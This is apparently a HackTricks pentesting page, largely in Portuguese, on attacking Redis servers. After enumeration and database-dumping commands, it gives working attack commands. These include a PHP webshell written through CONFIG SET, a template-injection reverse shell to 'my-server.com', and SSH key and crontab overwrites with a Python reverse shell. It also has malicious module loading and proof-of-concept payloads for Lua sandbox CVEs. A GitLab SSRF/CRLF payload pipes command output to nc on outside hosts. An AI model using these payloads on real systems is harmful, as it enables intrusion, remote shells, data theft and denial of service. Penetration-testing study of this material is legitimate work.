6379 - Pentesting Redis
Reading time: 16 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Informações Básicas
De acordo com the docs: o Redis é um software de código aberto (licenciado sob BSD), um armazenamento de estruturas de dados em memória, usado como banco de dados, cache e broker de mensagens).
Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que ele também pode implementar ssl/tls. Saiba como run Redis with ssl/tls here.
Porta padrão: 6379
PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9
Enumeração Automática
Algumas ferramentas automatizadas que podem ajudar a obter informações de uma instância do redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Enumeração Manual
Banner
Redis é um protocolo baseado em texto, você pode simplesmente enviar o comando em um socket e os valores retornados serão legíveis. Também lembre que o Redis pode rodar usando ssl/tls (mas isso é muito estranho).
Em uma instância regular do Redis você pode simplesmente conectar usando nc ou também pode usar redis-cli:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
O primeiro comando que você pode tentar é info. Ele pode retornar uma saída com informações da instância Redis ou algo como o seguinte é retornado:
-NOAUTH Authentication required.
No último caso, isso significa que você precisa de credenciais válidas para acessar a instância Redis.
Autenticação do Redis
Por padrão o Redis pode ser acessado sem credenciais. No entanto, ele pode ser configurado para suportar apenas senha, ou usuário + senha.
É possível definir uma senha no arquivo redis.conf com o parâmetro requirepass ou temporariamente até o serviço reiniciar conectando-se a ele e executando: config set requirepass p@ss$12E45.
Além disso, um nome de usuário pode ser configurado no parâmetro masteruser dentro do arquivo redis.conf.
tip
Se apenas senha estiver configurada, o nome de usuário usado é "default".
Além disso, observe que não há como descobrir externamente se o Redis foi configurado apenas com senha ou com usuário+senha.
Em casos como este você precisará encontrar credenciais válidas para interagir com o Redis, então você pode tentar brute-force.
Caso encontre credenciais válidas, você precisa autenticar a sessão após estabelecer a conexão com o comando:
AUTH <username> <password>
Credenciais válidas receberão a resposta: +OK
Enumeração autenticada
Se o servidor Redis permitir conexões anônimas ou se você obteve credenciais válidas, você pode iniciar o processo de enumeração do serviço usando os seguintes comandos:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Outros comandos do Redis podem ser encontrados aqui e aqui.
Observe que os comandos do Redis de uma instância podem ser renomeados ou removidos no arquivo redis.conf. Por exemplo, esta linha removerá o comando FLUSHDB:
rename-command FLUSHDB ""
Mais sobre como configurar com segurança um serviço Redis aqui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Você também pode monitorar em tempo real os comandos do Redis executados com o comando monitor ou obter as 25 consultas mais lentas com slowlog get 25
Encontre mais informações interessantes sobre mais comandos do Redis aqui: https://lzone.de/cheat-sheet/Redis
Exportando o Banco de Dados
Dentro do Redis, os bancos de dados são números começando em 0. Você pode descobrir se algum está sendo usado na saída do comando info dentro do trecho "Keyspace":
.png)
Ou você pode simplesmente obter todos os keyspaces (bancos de dados) com:
INFO keyspace
Nesse exemplo, as database 0 and 1 estão sendo usadas. Database 0 contains 4 keys and database 1 contains 1. Por padrão o Redis usará a database 0. Para fazer dump, por exemplo, da database 1 você precisa fazer:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
Se você receber o seguinte erro -WRONGTYPE Operation against a key holding the wrong kind of value ao executar GET <KEY>, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.
Para saber o tipo da chave, use o comando TYPE; exemplo abaixo para chaves do tipo list e hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Faça dump do banco de dados com npm redis-dump ou python redis-utils
Redis RCE
Interactive Shell
redis-rogue-server pode automaticamente obter um interactive shell ou um reverse shell no Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Informações de here. Você deve saber o caminho da pasta do site:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Se o acesso via webshell falhar, você pode esvaziar o banco de dados após fazer um backup e tentar novamente. Lembre-se de restaurar o banco de dados.
Webshell de template
Como na seção anterior, você também pode sobrescrever algum arquivo de template html que será interpretado por um template engine e obter um shell.
Por exemplo, seguindo this writeup, você pode ver que o atacante injetou uma rev shell in an html interpretado pelo nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
warning
Note that several template engines cache the templates in memory, so even if you overwrite them, the new one won't be executed. In this cases, either the developer left the automatic reload active or you need to do a DoS over the service (and expect that it will be relaunched automatically).
SSH
Example from here
Por favor, esteja ciente de que o resultado de config get dir pode ser alterado por outros comandos de exploração manuais. Recomenda-se executá-lo primeiro logo após o login no Redis. Na saída de config get dir você pode encontrar o diretório home do usuário redis (normalmente /var/lib/redis ou /home/redis/.ssh), e sabendo isso você sabe onde pode gravar o arquivo authenticated_users para acessar via ssh com o usuário redis. Se você souber o home de outro usuário válido onde possui permissões de escrita, também pode abusar disso:
- Gere um par de chaves pública-privada ssh no seu PC: 
ssh-keygen -t rsa - Escreva a chave pública em um arquivo : 
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - Importe o arquivo para o redis : 
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - Salve a chave pública no arquivo authorized_keys no servidor redis:
 
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Finalmente, você pode ssh para o servidor redis com a chave privada : ssh -i id_rsa redis@10.85.0.52
 
This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit
Além disso, usuários do sistema também podem ser descobertos verificando com config set dir /home/USER, e após confirmação, um novo authorized_keys pode ser escrito em /home/USER/.ssh/authorized_keys. Use redis-rce-ssh para bruteforcear isso com uma wordlist de nomes de usuário e sobrescrever authorized_keys.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
O último exemplo é para Ubuntu; para Centos, o comando acima deve ser: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Este método também pode ser usado para ganhar bitcoin :yam
Carregar Módulo Redis
- Seguindo as instruções de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand você pode compilar um módulo redis para executar comandos arbitrários.
 - Em seguida você precisa de algum método para upload do módulo compilado
 - Carregue o módulo enviado em tempo de execução com 
MODULE LOAD /path/to/mymodule.so - Liste os módulos carregados para verificar se foi corretamente carregado: 
MODULE LIST - Execute comandos:
 
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Descarregue o módulo sempre que quiser: 
MODULE UNLOAD mymodule 
LUA sandbox bypass
Here você pode ver que Redis usa o comando EVAL para executar código Lua em sandbox. No post vinculado você pode ver como abusar disso usando a função dofile, mas apparently isto não é mais possível. De qualquer forma, se você conseguir burlar o sandbox do Lua você poderia executar comandos arbitrários no sistema. Além disso, no mesmo post você pode ver algumas opções para causar DoS.
Alguns CVEs para escapar do LUA:
Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
Versões recentes do Redis corrigiram múltiplos problemas no engine Lua embutido que permitem evasão do sandbox, corrupção de memória e execução de código entre usuários. Essas técnicas se aplicam quando:
- Atacante pode autenticar no Redis e Lua está habilitado (EVAL/EVALSHA ou FUNCTION são utilizáveis)
 - A versão do Redis é anterior a 8.2.2, 8.0.4, 7.4.6, 7.2.11, ou 6.2.20
 
Dica: Se você é novo em truques de sandboxing Lua, verifique esta página para técnicas gerais:
Contexto de patch:
- Corrigido em: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
 - Afeta quando scripting Lua está habilitado e as versões acima não foram aplicadas
 
CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)
- Ideia: Forçar garbage collection enquanto o parser ainda referencia um TString recém-inserido. Quando o GC o recolhe, o parser usa um ponteiro liberado (UAF) → crash/DoS e potencial execução de código nativo fora do sandbox do Lua.
 - Estratégia de acionamento:
 
- Crie pressão de memória com strings enormes para incentivar a atividade do GC
 - Execute explicitamente o GC enquanto um grande trecho de fonte está sendo compilado
 - Compile um script Lua muito grande em loop até que o GC se alinhe com o parsing
 
Minimal EVAL harness to reproduce crashes
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
Notas:
- Podem ser necessárias várias tentativas para alinhar o GC com luaY_parser. Um crash indica que o UAF foi atingido.
 - Da exploração ao RCE requer memory grooming e native code pivoting além do Redis Lua sandbox.
 
CVE-2025-46817 — Overflow inteiro em unpack (lbaselib.c: luaB_unpack)
- Causa raiz: O contador 
n = e - i + 1é calculado sem casts unsigned, então índices extremos fazem wrap-around, fazendo o Lua tentar desempacotar muito mais elementos do que existem → corrupção da pilha e exaustão de memória. - PoC (DoS/exaustão de memória):
 
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- Espere que o servidor tente retornar um número enorme de valores e eventualmente trave ou sofra OOM.
 
CVE-2025-46818 — Escalada de privilégios entre usuários via metatables de tipos básicos
- Causa raiz: Na inicialização do engine, as metatables para tipos básicos (ex.: strings, booleans) não foram marcadas como somente leitura. Qualquer usuário autenticado pode envenená-las para injetar métodos que outros usuários possam chamar depois.
 - Exemplo (envenenamento da metatable de string):
 
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
Impacto: Cross-user code execution dentro da sandbox Lua usando as permissões do Redis da vítima. Útil para lateral movement/priv-esc dentro de contextos ACL do Redis.
Módulo Mestre-Escravo
As operações do Redis mestre são automaticamente sincronizadas para o Redis escravo, o que significa que podemos considerar o Redis vulnerável como um Redis escravo conectado ao Redis mestre que controlamos; então podemos inserir comandos no nosso próprio Redis.
master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF falando com Redis
Se você puder enviar requisições em texto em claro para o Redis, você pode se comunicar com ele, pois o Redis lerá a requisição linha por linha e apenas responderá com erros às linhas que não entender:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Portanto, se encontrar uma SSRF vuln num website e puder controlar alguns headers (talvez com um CRLF vuln) ou POST parameters, poderá enviar comandos arbitrários para o Redis.
Exemplo: Gitlab SSRF + CRLF to Shell
Em Gitlab11.4.7 foram descobertas uma vulnerabilidade SSRF e um CRLF. A vulnerabilidade SSRF estava na funcionalidade import project from URL ao criar um novo projeto e permitia acessar IPs arbitrários na forma [0:0:0:0:0:ffff:127.0.0.1] (isso acessa 127.0.0.1), e a CRLF vuln foi explorada simplesmente adicionando os caracteres %0D%0A ao URL.
Portanto, foi possível abusar dessas vulnerabilidades para falar com a instância Redis que gerencia as queues do gitlab e abusar dessas queues para obter code execution. O payload de abuso de queue do Redis é:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
E a requisição em URL encode que abusa de SSRF e CRLF para executar um whoami e enviar a saída de volta via nc é:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Por algum motivo (como no caso do autor de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ de onde esta informação foi retirada) a exploração funcionou com o esquema git e não com o esquema http.
Referências
- Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
 - NVD: CVE-2025-49844
 - NVD: CVE-2025-46817
 - NVD: CVE-2025-46818
 - Wiz analysis of Redis RCE (CVE-2025-49844)
 - PoC: CVE-2025-49844 — Lua parser UAF
 - PoC: CVE-2025-46817 — unpack integer overflow
 - PoC: CVE-2025-46818 — basic-type metatable abuse
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks